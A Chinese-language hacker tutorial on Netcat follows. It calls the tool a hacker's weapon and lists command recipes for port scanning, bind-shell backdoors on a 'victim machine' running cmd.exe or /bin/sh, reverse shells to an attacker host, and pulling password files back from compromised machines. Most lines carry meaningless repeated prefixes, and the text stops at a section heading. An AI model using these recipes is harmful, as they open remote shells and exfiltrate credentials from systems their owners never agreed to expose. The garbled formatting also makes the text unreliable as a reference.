91>fqe 91>fqe 1. 写在前面的话
91>fqe 91>fqe ######################################################################
91>fqe 91>fqe NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大.
91>fqe 91>fqe 对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
91>fqe 91>fqe 1.1 NC.EXE是一个非标准的telnet客户端程序,
91>fqe 91>fqe 1.2 还有一个putty.exe客户端程序,提供四种连接模式
91>fqe 91>fqe -raw -telnet -rlogin -ssh.
91>fqe 91>fqe 虽然现在也新出了GUI版的中文“NC”,但是相比起来还是这个好用。

91>fqe 91>fqe ######################################################################
91>fqe 91>fqe C:\WINDOWS\Desktop>nc -h
91>fqe 91>fqe [v1.10 NT]
91>fqe 91>fqe connect to somewhere: nc [-options] hostname port[s] [ports] ...
91>fqe 91>fqe listen for inbound: nc -l -p port [options] [hostname] [port]
91>fqe 91>fqe options:
91>fqe 91>fqe -d detach from console, background mode (后台模式)
91>fqe 91>fqe -e prog inbound program to exec [dangerous!!]
91>fqe 91>fqe -g gateway source-routing hop point[s], up to 8
91>fqe 91>fqe -G num source-routing pointer: 4, 8, 12, ...
91>fqe 91>fqe -h this cruft (本帮助信息)
91>fqe 91>fqe -i secs delay interval for lines sent, ports scanned (延迟时间)
91>fqe 91>fqe -l listen mode, for inbound connects (监听模式,等待连接)
91>fqe 91>fqe -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
91>fqe 91>fqe -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
91>fqe 91>fqe -o file hex dump of traffic (十六进制模式输出文件,三段)
91>fqe 91>fqe -p port local port number (本地端口)
91>fqe 91>fqe -r randomize local and remote ports (随机本地远程端口)
91>fqe 91>fqe -s addr local source address (本地源地址)
91>fqe 91>fqe -t answer TELNET negotiation
91>fqe 91>fqe -u UDP mode
91>fqe 91>fqe -v verbose [use twice to be more verbose] (-vv 更多信息)
91>fqe 91>fqe -w secs timeout for connects and final net reads
91>fqe 91>fqe -z zero-I/O mode [used for scanning] (扫描模式,-vv)
91>fqe 91>fqe port numbers can be individual or ranges: m-n [inclusive]

91>fqe 91>fqe 3. Netcat 1.10 常用的命令格式
91>fqe 91>fqe ######################################################################
91>fqe 91>fqe 3.1.端口的刺探:
91>fqe 91>fqe nc -vv ip port
91>fqe 91>fqe RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
91>fqe 91>fqe 91>fqe 91>fqe 3.2.扫描器
91>fqe 91>fqe nc -vv -w 5 ip port-port port
91>fqe 91>fqe nc -vv -z ip port-port port
91>fqe 91>fqe 这样扫描会留下大量的痕迹,系统管理员会额外小心
91>fqe 91>fqe 91>fqe 91>fqe 3.3. 后门
91>fqe 91>fqe victim machine: //受害者的机器
91>fqe 91>fqe nc -l -p port -e cmd.exe //win2000
91>fqe 91>fqe nc -l -p port -e /bin/sh //unix,linux
91>fqe 91>fqe attacker machine: //攻击者的机器.
91>fqe 91>fqe nc ip -p port //连接victim_IP,然后得到一个shell。
91>fqe 91>fqe 91>fqe 91>fqe 3.4.反向连接
91>fqe 91>fqe attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
91>fqe 91>fqe //或者wollf的反向连接.
91>fqe 91>fqe nc -vv -l -p port
91>fqe 91>fqe victim machine:
91>fqe 91>fqe nc -e cmd.exe attacker ip -p port
91>fqe 91>fqe nc -e /bin/sh attacker ip -p port
91>fqe 91>fqe 91>fqe 91>fqe 或者:
91>fqe 91>fqe attacker machine:
91>fqe 91>fqe nc -vv -l -p port1 /*用于输入*/
91>fqe 91>fqe nc -vv -l -p prot2 /*用于显示*/
91>fqe 91>fqe victim machine:
91>fqe 91>fqe nc attacker_ip port1 cmd.exe nc attacker_ip port2
LL+rdxJO^ LL+rdxJO^ nc attacker_ip port1 /bin/sh nc attacker_ip port2
LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ 139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
LL+rdxJO^ LL+rdxJO^ 这样就可以保证nc.exe优先于NETBIOS。
LL+rdxJO^ 3.5.传送文件:
LL+rdxJO^ LL+rdxJO^ 3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.
LL+rdxJO^ LL+rdxJO^ nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell执行
LL+rdxJO^ LL+rdxJO^ nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl C退出
LL+rdxJO^ LL+rdxJO^ //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl C.
LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ 3.5.2 attacker machine victim machine //上传命令文件到肉鸡
LL+rdxJO^ LL+rdxJO^ nc -vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl C退出
LL+rdxJO^ LL+rdxJO^ nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell执行
LL+rdxJO^ LL+rdxJO^ //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ 结论: 可以传输ascii,bin文件.可以传输程序文件.
LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ 问题:连接某个ip后,传送完成后,需要发送Ctrl C退出nc.exe .
LL+rdxJO^ LL+rdxJO^ 或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ LL+rdxJO^ 3.6 端口数据抓包.
